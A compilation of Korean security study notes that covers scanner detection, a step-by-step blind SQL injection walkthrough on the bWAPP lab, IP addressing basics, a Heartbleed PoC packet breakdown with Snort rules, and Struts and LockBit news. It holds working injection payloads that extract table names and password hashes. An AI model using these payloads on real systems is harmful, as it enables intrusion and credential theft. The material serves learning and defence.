- HTTP, HTTPS, SSH, 텔넷, FTP, SMTP, POP3, IMAP, Modbus, BACNET, SiemensS7 및 TridiumFox를 지원
- TLS 연결을 수행하고 TCP/IP 4443에서 ZMap이 찾는 모든 호스트의 루트 HTTP 페이지를 수집 가능
ZMap - 인터넷 전체 네트워크 조사를 위해 설계된 고속 단일 패킷 네트워크 스캐너 - 기가 비트로 연결된 컴퓨터에서 Zmap은 전체 공용 IPv4 주소 공간을 45분 이내에 검색할 수 있음 - 10gigE 연결 및 PF_RING으로 ZMap은 5분 만에 IPv4 주소 공간을 스캔할 수
2. 설치
- 다음 명령을 이용해 zgrab2를 설치
$ git clone https://github.com/zmap/zgrab2.git $ cd zgrab2 $ make
- 설치 후 ./zgrab2 --help 명령을 통해 사용법을 알 수 있음
- zgrab 스캐너를 사용하면 User-Agent 헤더에 zgrab이 명시됨
3. 대응
- robots.txt 파일에 zgrab에 대한 접근을 차단
- User-Agent 헤더에 zgrab으로 명시되기 때문에 해당 문자열을 탐지 가능한 패턴 적용 및 IP 차단
- 짧은 시간에 한 IP에서 포트정보만 변경하여 다수의 요청이 발생할 경우 포트스캔을 의심할 수 있음
- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행
- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법
- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요
- Boolean-Based 기법과 Time-Based 기법이 있음
- Blind SQL Injection에서는 다음 함수들이 자주 사용됨
함수
설명
length("문자열")
- 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이)
- 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수 - 시작 위치는 1부터 시작 * MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수
- 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수 - 시작 위치는 0부터 시작
ascii
- 문자를 아스키코드로 변환하는데 사용하는 함수 - 10진수 48 ~ 57 = 정수 1 ~ 10 - 10진수 65 ~ 90 = 문자 A ~ Z - 10진수 97 ~ 122 = 문자 a ~ z
2. 실습
- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력
- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음
- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음
- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함
2.1 데이터베이스 이름의 문자열 갯수 확인
- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length(database())=1 #
- 질의문 해석 : 데이터베이스 이름의 길이가 1인지
* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수
- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음
- 수행질의문 : ' or 1=1 and length(database())=5 #
- 질의문 해석 : 데이터베이스 이름의 길이가 5인지
2.2 데이터베이스 이름 확인
- substring()를 이용해 데이터베이스의 명을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지
- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음
- 수행질의문 :' or 1=1 and substring(database(),1,1)='b' #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지
- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.
- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #
- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지
- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음
- substring()으로 하나씩 글자를 확인하는 것보다ASCII 값으로 범위를 한정하여 검색하는 것이 수월함
- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #
- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지
- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음
2.3 테이블 이름의 문자열 갯수 확인
- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_namefrom information_schema.tableswhere table_type='base table' and table_schema='bWAPP'limit 0,1))= 1#
* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서 table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의 table_name의 첫번째 테이블 이름의 길이가 1인지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음
- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#
- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
2.4 테이블 이름 확인
- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_namefrom information_schema.tableswhere table_type='base table' and table_schema='bWAPP'limit 0,1),1,1)) >= 97#
- 질의문 해석 :
information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의
쳣번째 글자가
ascii 값으로 97(문자 a)보다 크거나 같은지
- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음
- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#
- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임
- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음
2.5 users 테이블의 정보 확인
- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select column_namefrom information_schema.columnswhere table_name='users'limit 0,1))=1#
- 질의문 해석 :
information_schema 데이터베이스의 columns 테이블에서
table_name이 users인 테이블의
column_name의
첫번째 컬럼의
길이가 1인지
- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#
- 두번째 컬럼을 알고싶은 경우 질의문 중limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인
- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음
2.6 users 테이블의 login 컬럼 정보 확인
- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음
- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#
- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지
- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음
- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능
- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#
- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지
- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음
- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#
- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지
- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음
- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#
3. 비박스 소스 확인
- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음
① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음
② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증
③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증
- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증
① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환
② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프
- 네트워크에서 장치들이 서로를 인식하고 통신을 하기 위해서 사용하는 번호, 즉 컴퓨터를 식별할 수 있는 고유한 번호
- 네트워크 계층의 주소체계
- 네트워크 부분과 호스트 부분으로 나뉘어짐
- 윈도우의 경우 ipconfig 명령, 리눅스의 경우 ifconfig 명령으로 확인 가능함.
2.1. IPv4
- 32bit 주소길이를 가진 논리적 주소체계이며, 8bit 씩 4부분으로 .로 구분
- 효율적인 IP 사용을 위해 A, B, C, D, E Class로 구분
* Class 별 호스트의 주소를 계산할 때 네트워크 자체 주소와 브로드캐스트 주소를 제외해 주어야함
- 약 43억개의 서로다른 주소를 부여할 수 있으나, 인터넷 사용자 급증으로 고갈될 문제에 처해 IPv6가 등장
- 사설 IP/공인 IP, 고정 IP/유동 IP로 나눌 수 있음
구분
명칭
설명
IP 공개 여부에 따른 구분
공인 IP
- ISP에 의해 할당되며, 개인 또는 회사의 서버에 할당 - 내/외부 모두 접근 가능하며, 인터넷 상에서 유일한 주소
사설 IP
- 라우터(공유기)에 의해 할당되며, 개인 또는 회사 내 호스트에 할당 - 외부에서 접근은 불가하며, 하나의 네트워크 내에서 유일한 주소 - Class A 사설 IP : 10.0.0.0 ~ 10.255.255.255 - Class B 사설 IP : 172.16.0.0 ~ 172.31.255.255 - Class C 사설 IP : 192.168.0.0 ~ 192.168.255.255
IP 고정 여부에 따른 구분
고정 IP
- 고정적으로 부여된 IP - 한번 부여되면 IP를 반납하기 전까지는 다른 장비에 부여할 수 없는 주소
유동 IP
- 고정적으로 IP를 부여하지 않고 남아 있는 IP 중에서 돌아가면서 부여하는 IP - ex) DHCP * DHCP 서버에서 IP 169.254.X.X를 받아올 경우 DHCP 서버와 통신할 수 없다는 의미
- 특수한 목적을 위해 예약된 IP는 다음과 같음
2.2 IPv6
- IPv4 주소체계의 IP 고갈에 대비하기 위해 등장
특징
설명
확장된 주소 공간
- 128비트 주소체계를 사용 (IPv4의 주소부족 문제를 해결) - IP주소를 절약하기 위해 사용되는 NAT(Network Address Translation)와 같은 주소변환 기술도 불필요
새로운 헤더 포맷
- 고정 길이 헤더 - 패킷 단편화(fragmentation) 관련 필드, 체크섬 (checksum) 필드삭제
향상된 서비스의 지원
- 트래픽을 효과적으로 분류할 수 있는 기능을 제공 - 이를 위해 IPv6 헤더 내에 플로우 레이블(Flow Label) 필드를 이용
보안 기능
- IPv6에서는 프로토콜 내에 보안관련 기능을 탑재할 수 있도록 설계 - 확장헤더를 통하여 네트워크 계층에서의 종단간 암호화를 제공 * IPv4에서의 IPSec이라는 보안 관련 프로토콜을 별도 설치 필요
주소 자동설정
- 로컬 IPv6주소를 LAN상의 MAC주소와 라우터가 제공하는 네트워크 프리픽스(prefix)에 결합하여 IP주소를 자동 생성 - 이동형 컴퓨터의 경우 어느 곳에서든 네트워크와 연결을 설정하면 자동으로 포워딩 주소를 설정할 수 있게 함
2.3 비교
구분
IPv4
IPv6
주소길이
32bit
128bit
표기방법
8bit 씩 4부분으로 .로 구분 ex) 192.168.1.2
16bit 씩 8부분으로 :로 구분 ex) 2002:0221:ABCD:DCBA:0000:0000:FFFF:4002
주소개수
약 43억개
약 2^128개 (43억 X 43억 X 43억 X 43억) * IPv4의 IP 고갈로 등장
주소할당 방식
클래스 단위 비순차 할당
네트워크 규모, 단말기 수에 따라 순차할당
주소 유형
유니캐스트, 멀티캐스트, 브로드캐스트
유니캐스트, 멀티캐스트, 애니캐스트
헤더크기
가변
고정
QoS 제공
미흡
제공
보안
IPSec 프로토콜 별도 설치
IPSec 프로토콜 자체 제공
서비스 품질
제한적 품질 보장
확장된 품질 보장
Plug & Play
불가
가능
3. MAC (Media Access Control Address)
- 48bit로 이루어져 있는 물리적 주소체계이며, 앞 24bit는 제조사번호, 뒤 24bit는 시리얼번호를 의미
- 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 암호화 라이브러리 - C 언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있음
2. HeartBleed
- 클라이언트와 서버는 계속 신호를 주고 받으며 연결상태를 확인하는데 이를 "하트비트(Heartbeat)"라 함
하트비트(Heartbeat)란? 1. 일종의 Echo Request/Echo Reply처럼 서버의 기동 여부를 진단하기 위한 프로토콜 2. 특정 Echo Request를 보내고, 반환 받을 크기를 지정하면 해당 크기만큼 Echo Reply 응답
- '하트비트' 과정 중, 서버가 클라이언트의 요청에 응답할 때 정상적인 응답내용 외 추가정보(중요정보)를 포함한 응답이 전송되어 정보가 노출될 수 있어 HeartBleed로 불림 - 서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 응답하여 발생
HeartBleed란? 1. 반환 받을 크기 지정 시 보낸 메세지보다 훨씬 크게 지정(최대 64KB)하여 보낼 수 있는 취약점이 존재 2. 1KB를 보내면서 64KB를 요청 할 경우 나머지 63KB는 메모리에 있는 임의 데이터가 보내짐 3. 위와 같은 동작을 반복하면 메모리상에 흐르는 임의 데이터를 지속적으로 탈취할 수 있음
- 당시 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 영향을 받을 수 있었음
3. CVE-2014-0160
- 취약한 버전의 OpenSSL은 공격자의 조작된 요청에 의해 메모리에서 중요한 정보를 얻을 수 있음.
취약한 버전 : OpenSSL 1.0.1 ~ 1.0.1f
원인 : Heartbeat Extension 패킷을 제대로 처리하지 못하여 원격 공격자가 버퍼 오버 읽기를 유발
영향 : 조작된 패킷을 통해 프로세스 메모리에서 중요한 정보를 얻을 수 있음
- [캡쳐 2] 과정을 다음에 비유할 수 있음
1. 엘리스(클라이언트)는 밥(서버)에게 봉투에 100원을 넣고, 1000원이 들었다는 정보와 함께 전송
2. 밥(서버)은 100원을 확인하고, 나머지 900원을 합하여 엘리스(클라이언트)에 응답
3. 엘리스(클라이언트)에게 900원에 해당하는 정보가 유출 됨
4. 실습
4.1) PoC 분석
- PoC는 먼저 서버와 TLS를 이용한 보안 연결을 맺는 것부터 시작하며, 보안 연결이 설정된 이후 s.send(hb) 함수를 통해 Heartbeet 요청을 전송
// 첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알림
18 : TLS record is a heartbeat
03 02 : TLS version 1.1
// 다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시
00 03 : Length
01 : Heartbeat request
// 공격의 핵심
// payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않음
// 16진수로 4000은 16384
40 00 : Payload length(16384bytes)
4.2) 취약점 코드
- 취약한 소스코드를 확인해 보면 사용자 요청 메시지에 대한 길이를 검사하지 않는 것을 확인할 수 있음
4.3) 취약점 실습
- 비박스에서 Heartbleed 취약점을 실습해 볼 수 있으며, HTTPS와 8443포트로 접속해야 함
- 로그인 후 공격 스크립트를 실행시키면 Heartbeat 응답 메세지를 확인할 수 있음.
* 스크립트를 실행하면 결과가 길어 확인이 불편하므로, more 명령으로 내용 확인
- Heartbeet 응답값을 확인하면 로그인정보와 쿠키값이 노출된 것을 볼 수 있으며, 이외에도 추가 정보 유출이 가능함
* 추가정보 : SSL 서버 비밀키, 세션키 등 / 노출되는 정보는 서비스 환경마다 다름
- 해당 패킷을 와이어샤크로 확인하면 [캡쳐 6]과 같음
5. 대응방안
1. 시스템 측면 방안 - 최신 업데이트를 적용 - 사용자 요청 메시지에 대한 길이를 검사하도록 코드 추가
- 업데이트 적용이 어려울 경우 버전 확인 및 Heartbeat 프로토콜 비활성화
1. Open SSL 버전 확인 명령
openssl version -a
2. Open SSL Heartbeat 활성화 여부 확인 명령
// Heartbeat 기능이 활성화되어 있는 경우 heartbeat 문자열이 검색됨
openssl s_client -connect domain.com:443 -tlsextdebug -debug -state | grep -i heartbeat
2. 네트워크 측면 방안 - SSL 서비스 포트에 대해 공격 요청 시 전송되는 |18 03 ??| 탐지 패턴 적용
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)
03 00은 SSLv3.0 / 03 01은 TLSv1.0 / 03 02는 TLSv1.1
3. 서비스 관리 측 방안 - 서버 측 SSL 비밀키(Secret Key)가 유출되었을 가능성을 배제할 수 없기 때문에 인증서 재발급 검토 - 취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용한 추가 피해를 방지하는 방안 고려
- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.
- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.
취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16 조건 1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정) 2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음. 결과 웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음. OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어
- 록빗 내 개발자로 보이는 인물이 파일을 암호화 하는 인크립터의 코드를 공개 - 가장 최신 버전인 록빗 3.0(LockBit 3.0) 혹은 록빗블랙(LockBit Black) 공개 - 현재 이 인크립터 코드는 깃허브를 통해 열람이 가능
<록빗> - 2019년 최초 등장 후 현재 가장 세력이 큰 랜섬웨어 조직 - 2022년 상반기 록빗 관련 공격사례 1843건이며, 1월~5월 발생한 록빗 2.0이 전체 랜섬웨어 공격의 46%를 차지
영향
- 유출된 코드를 분석했을 때 진짜 록빗 3.0의 구성 요소가 맞으며, 록빗 운영자들도 소셜미디어를 통해 유출된 빌더가 자신들이 사용해 오던 정상 빌더라고 밝힘 - 누구나 조금의 코딩 지식만 있으면 랜섬웨어를 만들 수 있음 (복호화를 위한 키 생성기도 포함되어 있음) - 비슷하거나 새로운 멀웨어의 출현하는 부정적 영향과 동시에 해당 코드를 분석해 랜섬웨어를 막는 방법이 개발되거나 중요 정보를 추출될 수 있는 긍정적 영향이 공존